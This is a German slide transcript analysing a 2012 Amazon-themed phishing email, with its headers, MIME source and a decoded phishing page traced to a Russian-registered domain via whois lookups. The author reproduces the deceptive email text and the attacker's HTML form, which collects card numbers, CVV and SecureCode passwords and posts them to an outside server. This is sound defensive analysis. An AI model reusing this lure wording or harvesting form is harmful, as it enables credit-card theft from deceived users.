Mastercard, Visa & Amazon Phishing

Transkript

1 Mastercard, Visa & Amazon Phishing Dem Angreifer auf der Spur ;) Markus Fic

2 Am 14.Mai 2012 bekam ich eine mit Absender Amazon.com. Angeblich würde man meine Daten zu einem Datenabgleich benötigen. Dies klingt bereits äußerst verdächtig. Betreff: Datenabgleich für alle Amazon.de Kunden Von: Amazon Datum: :47 An: "---" Amazon.com Sehr geehrter Amazon Kunde, Sicherheit hat für Amazon.de höchste Priorität. Wir sorgen für ein sicheres Zahlungssystem, schützen Karteninhaber, Händler,unsere Mitglieder sowie Unternehmen und tragen zum Wachstum bei. Amazon.de Datenabgleich (Verifizierungsvorgang) Bitte beachten Sie folgende Hinweise: Aufgrund sicherheitstechnischen Mängeln bei Online-Anbieter sind wir gezwungen, mit unseren Kunden einen Datenabgleich durchzuführen. Sollten Sie eine Visa, Master oder AmericanExpress-Card besitzen, bitten wie Sie eine Adress- und Kartenverifizierung durchzuführen um eine Account/ Kartensperre zu verhindern. Bitte führen Sie Ihren Datenabgleich baldmöglichst aus. Andernfalls werden wir zu Ihrem eigenem Schutz Ihren Zugang und Ihre dazugehörigen Kreditkarten binnen 7 Tagen sperren. Achtung: Eine Reaktivierung Ihres Amazon.de Kontos ist in diesem Fall nichtmehr möglich! Öffnen Sie die Datei in Ihrem anhang, oder klicken Sie hier. Füllen Sie alle Daten aus und klicken Sie dann auf "Verifizieren". Nach überprüfung Ihrer Daten erhalten Sie eine gesonderte zur bestätigung. Copyright 2012 Amazon.com, Amazon EU S.à.r.l. 5, Rue Plaetis L-2338 Luxemburg - Die rot hervorgehobenen Stellen zeigen Rechtschreibfehler, welche bei einer so großen und internationalen Firma wie Amazon ein absolutes NO GO sind! Außerdem erfüllt diese dringlich wirkende sehr viele typische Phishing-Aspekte. 2

3 Zu Anfang wird eine vertrauenserweckende Bereitschaft zu höchster Sicherheit erweckt. Anschließend wird der Grund für den zu erfolgenden Datenabgleich genannt. Dieser sei Aufgrund sicherheitstechnischen Mängeln bei Online-Anbieter unverzichtbar. Danach wird ein gewisser Druck auf den User ausgewirkt, diesen Datenabgleich möglichst bald zu erledigen, sonst würde das schwerwiegende Auswirkungen auf den Kunden haben. Möglichkeiten auszuweichen werden ausgeschlossen, da keine nachträgliche Reaktivierung mehr möglich ist. Zuletzt wird der Benutzer aufgefordert, den -Anhang zu öffnen, die Daten einzutragen und Abzuschicken. Nun kann man sich dem Quellcode der zuwenden: HEADER: Return-Path: Delivered-To: GMX delivery to Received: (qmail invoked by alias); 13 May :17: Received: from avasout01.plus.net (EHLO avasout01.plus.net) [ ] by mx0.gmx.net (mx070) with SMTP; 14 May :17: Received: from mjstevensgroup.co.uk ([ ]) by avasout01 with smtp id 9bGP1j0044AGxLL01bGnQM; Mon, 14 May :17: X-CM-Score: 0.00 X-CNFS-Analysis: v=2.0 cv=i5dntacg c=1 sm=1 a=lmcnuttxg69b9zs0lgoghq==:17 a=yi4m11hnjroa:10 a=71fnpxiyxpya:10 a=jpjdawaoac8a:10 a=vggbfdfiaaaa:8 a=onfj_egqaaaa:8 a=gmklepyfaaaa:8 a=44q3s26k5hx2lxc5suka:9 a=gl12yjauh6jsy_8ssw4a:7 a=wpnlvfgteeia:10 a=_w_s_7vecoqa:10 a=txsnliwv7b4a:10 a=t5xh6bzjajia:10 a=6xz8xm_uv-ea:10 a=hkodgbchuuya:10 a=cgzpdqe5nsca:10 a=0yh2avzwyk0a:10 a=ssmofeacaaaa:8 a=s7ozpgzlaaaa:8 a=7ejt9iniaaaa:8 a=iyq8kf-iaaaa:8 a=desjw5jlaaaa:8 a=4-ehetstaaaa:8 a=ae5ulsataaaa:8 a=pbor-ozoaaaa:8 a=yy-4xzqxaaaa:8 a=vfdjsknwaaaa:8 a=joqwym39aaaa:8 a=icdldyqvaaaa:8 a=66g0s_tsaaaa:8 a=x0sbindsaaaa:8 a=z2bb8qazaaaa:8 a=mvhovm7kaaaa:8 a=3-of1uizaaaa:8 a=bdsk-hviaaaa:8 a=-fvkd5ruaaaa:8 a=fozte5dtaaaa:8 a=k-lvwstwaaaa:8 a=pjq1oyiyaaaa:8 a=mc47c_s5voqinpderoia:9 a=mstucv3blh8paid4dyma:7 a=frz4aucg-hua:10 a=eionbmxn_yka:10 a=igrugijdthwa:10 a=py4w4fgrpmya:10 a=dci4ocx93iwa:10 a=xkf6vr18z68a:10 a=yjzzuit71j4a:10 a=zj3dxxwjtnqa:10 a=3ugjnpbavlka:10 a=my4zme4sl8ga:10 a=3xgbqvha8sia:10 a=civb_cxtstaa:10 a=unumt0oumaia:10 a=a-07fwd-ulll7bla:21 a=gkysplb755gi3rpq:21 a=lmcnuttxg69b9zs0lgoghq==:117 Received: from [ ] ([ ]) by mjstevensgroup.co.uk with Microsoft SMTPSVC( ); Sun, 13 May :44: Äußerst interessant ist hier der Weg den die genommen hat. Zuerst wurde die von an einen 1&1 Mailserver( ) in Deutschland an einen Mailserver in UK gesendet. mjstevensgroup.co.uk (eine Recherche im Internet liefert, dass es sich hierbei um eine kleine Holz & Maler Firma handelt) erhielt die Mail und forwardete sie an Plus.net. Dieser wiederrum sendete sie an meinen GMX Account. Message-Id: 3

4 Mime-Version: 1.0 From: Amazon To: "---" Subject: =?iso ?q?datenabgleich_f=fcr_alle_amazon.de_kunden?= Date: Sun, 13 May :47: X-Bounce-Tracking-Info: <bwfya3vzlmy1cqkjbwfya3vzlmy1qgdtec5hdaleyxrlbmfiz2xlawnoigbdvhigywxszsbbbwf6b24uz GUgS3VuZGVuCTI0OQkJMzY0MAlib3VuY2UJbm8Jbm8=> Content-type: multipart/related; Boundary="--=BOUNDARY_ _EGHB_EOAB_CVSG_EIFU" X-OriginalArrivalTime: 13 May :44: (UTC) FILETIME=[17C7E560:01CD3130] X-GMX-Antivirus: 0 (no virus found) X-GMX-Antispam: 0 (Mail was not recognized as spam); Detail=5D7Q89H36p6pBmyLOveWizS1cugi9GvJYRD2FTYH8DyCU/2qEfoDJBVT2+lkSpBoKGST5 +AHMwi1Cg+DxFFDFRyxiKzd5qBIkjJpNevEzj6jgB8e+3cLPIKd7v9EzBDCwW36hoX+UP4dBXdFZ 9koBLKi9hPShbh0icFg6kGgwuUKj/ArqQ3n/DCjkAZigI/AomBrnVIj9REfX8/z92lh/fPg+uH4O HF6dboh0eN8oofRJuEqiHG0GQ==V1; Im weiteren Verlauf des Quellcodes sehen wir, dass der Absender einfach gefälscht ist und die Mail auch problemlos durch den Spam/Virenfilter durchgekommen ist. Im folgenden Ausschnitt ist die zu sehen, auf dies wird hier nicht weiter eingegangen. Die Nachricht ist im MIME-Format. Da Ihr -Programm dieses Format nicht unterstã¼tzt, werden einzelne oder alle Nachrichten nicht lesbar sein. ----=BOUNDARY_ _EGHB_EOAB_CVSG_EIFU Content-type: multipart/alternative; Boundary="--=BOUNDARY_ _ILDF_MKTY_GTHQ_WJGH" ----=BOUNDARY_ _ILDF_MKTY_GTHQ_WJGH Content-type: text/html; charset=iso Content-transfer-encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4=2E01 Transitional//EN"> <html lang=3d"de-de"><head></head> <body><br> <table align=3d"center" border=3d"0" cellpadding=3d"0" cellspacing=3d"0" wi= dth=3d"650"><tbody> <td style=3d"padding-bottom: 10px;" valign=3d"top"> <img alt=3d"amazon= =2Ecom" src=3d" on/amazon-logo=2e_v _=2egif" height=3d"45" width=3d"168"> </tbody></table> <center> <table bgcolor=3d"#cccc99" border=3d"0" cellpadding=3d"0" cellspacing= =3D"0" width=3d"650"><tbody><tr valign=3d"top"><td style=3d"border: 2px sol= id rgb(153, 204, 255);"> <table align=3d"center" bgcolor=3d"#cccc99" border=3d"0" cellpadding= =3D"0" cellspacing=3d"0" height=3d"100%" width=3d"646"><tbody><tr bgcolor= =3D"#ffffff" valign=3d"top"><td> <table align=3d"center" border=3d"0" cellpadding=3d"0" cellspacing=3d"0" he= ight=3d"100%" width=3d"98%"><tbody><tr valign=3d"top"><td colspan=3d"2"> <table border=3d"0" cellpadding=3d"2" cellspacing=3d"0" width=3d"100%"><tbo= dy><tr valign=3d"top"> <td width=3d"100%"> <table border=3d"0" cellpadding=3d"2" cellspacing=3d"0" width=3d"100%"><tbo= dy> 4

5 <td colspan=3d"2" style=3d"padding-top: 6px; padding-bottom: 10px; font-wei= ght: bold; font-family: verdana,arial,helvetica; color: rgb(204, 102, 0);">= <h5><span class=3d"b"><span style=3d"font-family: verdana,arial,helvetica;"= >Sehr geehrter Amazon Kunde,</span></span></h5><h5><span class=3d"b"><span = style=3d"font-family: verdana,arial,helvetica;"></span></span><span style= =3D"font-weight: normal;" class=3d"b"><span style=3d"font-family: verdana,a= rial,helvetica;"> Sicherheit hat f=fcr Amazon=2Ede h=f6chste Priorit=E4t=2E Wir sorgen f=fcr ein sichere= s Zahlungssystem, sch=fctzen Karteninhaber, H=E4ndler,unsere Mitglieder sowie= Unternehmen und tragen zum Wachstum bei=2e</span></span></h5><span style= =3D"font-family: verdana,arial,helvetica;"></span><span style=3d"font-famil= y: verdana,arial,helvetica;"></span> </tbody></table> </tbody></table> </tbody></table> </tbody></table> </tbody></table> <br><table border=3d"0" cellpadding=3d"0" cellspacing=3d"0" width=3d"650"><= tbody> <td> <span style=3d"font-family: verdana,arial,helvetica; font-size: 13px;"> <Font Color=3D"blue"> <b>amazon=2ede Datenabgleich (Verifizierungsvorgang)<= /b></font></span><br><br><span style=3d"font-weight: bold; font-family: ver= dana,arial,helvetica; font-size: 13px;">Bitte beachten Sie folgende Hinweis= e: <br><br></span> <span style=3d"font-family: verdana,arial,helvetica; font-size: 13px;">Aufg= rund sicherheitstechnischen M=E4ngeln bei Online-Anbieter sind wir gezwungen, mit unseren Kunden einen Datenabgleich durchzuf=fchren=2e<br><br>sollten Si= e eine Visa, Master oder AmericanExpress-Card besitzen, bitten wie Sie eine= <br>adress- und Kartenverifizierung durchzuf=fchren um eine Account/ Karte= nsperre zu verhindern=2e<br><br>bitte f=fchren Sie Ihren Datenabgleich baldm=f6glichst aus=2e Andernfalls werden wir zu Ihrem eigenem Schutz Ihren Zugang und Ihre dazugeh=f6rigen Kreditkarten binnen 7 Tagen sperren=2e<br><br></span><span style=3d"font-fa= mily: verdana,arial,helvetica; font-size: 13px;"><span style=3d"text-decora= tion: underline;">achtung:</span> Eine Reaktivierung Ihres Amazon=2Ede Kont= os ist in diesem Fall nichtmehr m=f6glich!<br></span><span style=3d"font-fa= mily: verdana,arial,helvetica; font-size: 13px;"> <ol> <li style=3d"font-weight: bold;">=d6ffnen Sie die Datei in Ihrem anhan= g, oder <a rel=3d"nofollow" target=3d"_blank" href=3d"cid:zgf0ys5odg1s$9856= 1382$800082@amazon">klicken Sie hier</a>=2e</li> <li style=3d"font-weight: bold;">f=fcllen Sie alle Daten aus und klicken Si= e dann auf "Verifizieren"=2E</li> <li style=3d"font-weight: bold;">nach =FCberpr=FCfung Ihrer Daten erhalten = Sie eine gesonderte zur best=e4tigung=2e</li></ol><span style=3d"text= -decoration: underline;"><br></span> </span> </tbody></table> <br><table style=3d"border: 2px solid rgb(102, 102, 102);" bgcolor=3d"#cccc= cc" width=3d"650"><tbody> <td style=3d"text-align: center; font-family: verdana,arial,helvetica; font= -size: 13px;"> Copyright =A Amazon=2Ecom, <span style=3d"font-weight: bold;"><b><br>= Amazon EU S=2E=E0=2Er=2El=2E <br>5, Rue Plaetis <br>l-2338 Luxemburg </b></= span> </tbody></table> <img alt=3d"-" src=3d" = height=3d"1" width=3d"1"> </center> 5

6 <br><br> <!--www044--> </body></html> ----=BOUNDARY_ _ILDF_MKTY_GTHQ_WJGH Wo es allerdings wieder sehr interessant wird, die der Anhang. Beim Anhang handelt es sich um eine HTML Seite. ----=BOUNDARY_ _EGHB_EOAB_CVSG_EIFU Content-Disposition: attachment; filename="data.html" Content-transfer-encoding: base64 Content-type: text/html; x-unix-mode=0664; name="data.html"; Content-ID: DQoNCg0KDQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgXCItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJh bnnpdglvbmfsly9ftlwiifwiahr0cdovl3d3dy53my5vcmcvvfivegh0bwwxl0rurc94ahrtbdet dhjhbnnpdglvbmfslmr0zfwipg0kpgh0bwwgeg1sbnm9xcjodhrwoi8vd3d3lnczlm9yzy8xotk5 [ gekürzt ] IA0KDQogIDwvdGFibGU+DQo8L2Rpdj4NCg0KDQoNCjwvaHRtbD4NCg== ----=BOUNDARY_ _EGHB_EOAB_CVSG_EIFU Diese HTML Seite ist Base64 codiert. Durch das decodieren des Codes erhält man die Seite, geschrieben in HTML, Javascript usw <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \" <html xmlns=\" <head> <script type='text/javascript'>/* <![CDATA[ */ var t0_date = new Date(); [Etwas Javascript blabla] <title> Anmeldung bei Amazon.de </title> [Etwas html blabla] Beim Überfliegen des Quellcodes lässt sich schnell feststellen, dass der Großteil der Seite der echten Amazon Seite kopiert wurde. Sucht man weiter nach Auffälligkeiten, wird man bei Zeile 1399 fündig. <form name="creditform" method="post" action=" > Dieser Tag zeigt eindeutig, dass hier etwas nicht stimmt. Die Verlinkung erfolgt auf eine externe Seite. Erneut sehr ungewöhnlich. Eine weitere merkwürdige Zeile ist folgende: <a href="/cookiesundinternetwerbung">cookies & Internet Werbung</a> Hier beläuft sich der Link nicht auf die Amazon Seite, sondern auf der des vermutlichen Phishing Angreifers. 6

7 Nachdem dies erkannt, und vor allem weil keine HTTPS Verbindung, mit der wohl wichtigen amazon_check.php, aufgebaut wurde, erfolgten weitere Recherchen bezüglich des verlinkten Webservers. 7

8 Eine Whois Abfrage lieferte kaum überraschende Ergebnisse: 5 records have been archived since Domain name: kontocheck24.net Name servers: ns1.nameself.com ns2.nameself.com Registrar: Regtime Ltd. Creation date: Expiration date: Registrant: Vladimir Rostov Organization: Vladimir Rostov Address: prospekt Lenina 14 City: Chelyabinsk State: Chelyabinskaya obl. ZIP: Country: RU Phone: Fax: Administrative Contact: Vladimir Rostov Organization: Vladimir Rostov Address: prospekt Lenina 14 City: Chelyabinsk State: Chelyabinskaya obl. ZIP: Country: RU Phone: Fax: Technical Contact: Vladimir Rostov Organization: Vladimir Rostov Address: prospekt Lenina 14 City: Chelyabinsk State: Chelyabinskaya obl. ZIP: Country: RU Phone: Fax: Billing Contact: Vladimir Rostov Organization: Vladimir Rostov Address: prospekt Lenina 14 City: Chelyabinsk State: Chelyabinskaya obl. ZIP: Country: RU Phone: Fax:

9 Die Domain ist erst kürzlich (April 2012) registriert worden. Außerdem handelt es sich um einen Besitzer, welcher vermutlich Russe ist und auch in Russland seinen Wohnsitz hat. 9

10 Weitaus überraschendere Ergebnisse lieferte ein Reverse Whois Lookup: Reverse Whois: "Vladimir Rostov" owns about31 other domains Search: is associated with about 29 domains Der Besitzer hat anscheinend über 31 weitere Domains registriert!!! Leider konnten keine weiteren URLs ermittelt werden, allerdings belaufen sich die Registrierungen von 2005 bis Wie geht es weiter? Da ich nun über den Inhalt der Website stutzig wurde, diese aber nicht selbst aufrufen wollte, entschied ich mich für eine etwas sicherere Methode an manche Inhalte der Website zu kommen. Perfekt für die Analyse von HTML und Javascript, Bild Inhalten einer Website ist das Tool IntelliTamper. Es ermittelt anhand vieler Abfragen die zugänglichen Ordner und Seiten einer Website. Somit erhält man eine übersichtlich gegliederte Baumstruktur. (Es lässt sich feststellen, dass vermutlich nicht nur Amazon sondern auch Mastercard, Visa und weitere Kreditkarten gephisht werden. Nachdem der richtige Pfad eingegeben wurde, konnte man zwar nicht die amazon_check.php Seite sehen, allerdings fand man in der _index_defaultpage.html ebenso genügend ansehnliches Material. Mit einem Rechtsklick auf die Datei, kann man diese am Computer abspeichern. Am besten als TXT. 10

11 Der Inhalt der Index Datei, war fast mit dem der im Anhang identisch. Einige Punkte allerdings können eindeutig nicht von Amazon stammen: 11

12 Hier ein Ausschnitt, welcher mit großer Wahrscheinlichkeit vom Phisher erzeugt wurde: <!-- CC ende --> <!-- Adresse start --> <table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#ddddcc" align="center" id=""> <tr bgcolor="#ddddcc"> <td bgcolor="#ddddcc" valign="top"> <table width="100%" border="0" cellspacing="3" cellpadding="0" align="center" bgcolor="#ddddcc"> <td bgcolor="#ffffff" valign="top"> <table width="100%" border="0" cellspacing="0" cellpadding="3" align="center"> <td> <form name="creditform" method="post" action=" > <input type="hidden" name=" mk_de_de" value="åmåzõñ" /> <input type="hidden" name="action" value="add" /> <input type="hidden" name="sessionid" value=" " /> <table id=cardfields width=100% style="empty-cells: hide"> <td id=new-card-form colspan="2" align="left"> <table width="100%" cellspacing="0"> <td align="left" valign="top"> <strong> <font face="verdana,arial,helvetica" size="-1"> <label for="creditcardissuer"><br>kartentyp:<br></label></font></strong> <td align="left" valign="top"> <strong> <font face="verdana,arial,helvetica" size="-1"> <label for="addcreditcardnumber">kreditkartennummer:</label></font></strong><br> <font face="verdana,arial,helvetica" size="-2">(ihre 16stellige Kartennummer)</font> <td align="left" valign="top"> <strong><font face="verdana,arial,helvetica" size="-1"><label for="cardname">name des Karteninhabers:</label></font></strong><br> <font face="verdana,arial,helvetica" size="-2">(wie auf der Karte aufgeführt)</font> <td align="left" valign="top"> <strong><font face="verdana,arial,helvetica" size="-1">gültig bis:</font></strong><br> <font face="verdana,arial,helvetica" size="-2">(nur Monat und Jahr benötigt)</font> <td align="left" valign="top"> <strong><font face="verdana,arial,helvetica" size="- 1">Sicherheitscode:</font></strong><br> <font face="verdana,arial,helvetica" size="-2">(3 stellig auf der <br>rückseite Ihrer Karte)</font> <td align="left" valign="top"> <strong><font face="verdana,arial,helvetica" size="-1">mastercard SecureCode bzw.<br>verified by Visa Kennwort</font></strong><br> <font face="verdana,arial,helvetica" size="-2">(falls schon gesetzt)</font> <td align="left" valign="top"> <td align="left"> <select name="creditcardissuer" id="creditcardissuer"> <option value="v0">visa / Electron</option> <option value="m0">mastercard/eurocard</option> <option value="a0">american Express</option> </select> 12

13 <td align="left"><input type="text" name="ccnumber" id="addcreditcardnumber" size="20" autocomplete="off"> <td align="left"><input type="text" name="cardname" id="card-name" size="20" maxlength="40" value="" autocomplete="off"> <td align="left"> <select name="mm" title="monat" id="newcreditcardmonth"> <option value="01" selected="selected">01</option> [ gekürzt ] <option value="12" >12</option> </select> <select name="yy" title="jahr" id="newcreditcardyear"> <option value="2012" selected="selected">2012</option> [ gekürzt ] <option value="2037" >2037</option> </select> <td align="left"><input type="text" name="cvv" id="addcreditcardnumber" size="10" autocomplete="off"> <td align="left"><input type="text" name="sc" id="addcreditcardnumber" size="20" autocomplete="off"> <td colspan="2"> <br> <img style="width: 106px; height: 36px;" alt="" src=" <td /> <td align="left"> </table> </table> <!-- id=cardfields --> <td align="left" colspan="2"> <br /> <!-- Adresse ende --> <br></br> <td /><td align="center"> <input type="image" src=" width="151" alt="diese neue Adresse verwenden" name="newaddress" height="22" border="0" /> </a> </form> Also Bitte 13

14 Auch diverse Suchvorgänge über die vom Domainbesitzer registrierte ergeben Spam und Phishingwarnungen. Ob es sich allerdings wirklich um die richtige Person hinter der und der registrierten Wohnadresse handelt, ist fragwürdig. NS1.NAMESELF.COM SUMMARY Domain Name nameself.com IP IP Location Moscow, 48, RU Wild Card Record Complementary Name Servers ns2.nameself.com Die Möglichkeiten gegen diesen Phishing-Versuch vorzugehen sind eingeschränkt. Einerseits kann man einen Verstoß gegen die Terms of Service beim TLD Provider (Reg Time LTD Webnames.ru) einreichen. Nameserver nameself.com. Andererseits ist es auch möglich diesen Fall an Amazon zu melden. Ob dieser Fall auch wirklich beim TLD Provider ankommt und dieser die Domain bzw. den Webserver sperrt, evt. auch rechtliche Schritte unternimmt, bleibt abzuwarten. Ist eine strafrechtliche Verfolgung bis nach Russland oder Deutschland überhaupt möglich? Wieso ich auf Deutschland komme? Der 1&1 Mailserver, die deutschsprachigen Kommentare im HTML Code, das Verzeichnis cookiesundinternetwerbung und die deutschen Versionen von Internetseiten wie google oder picbird, hinterlassen einen sauren Nachgeschmack 14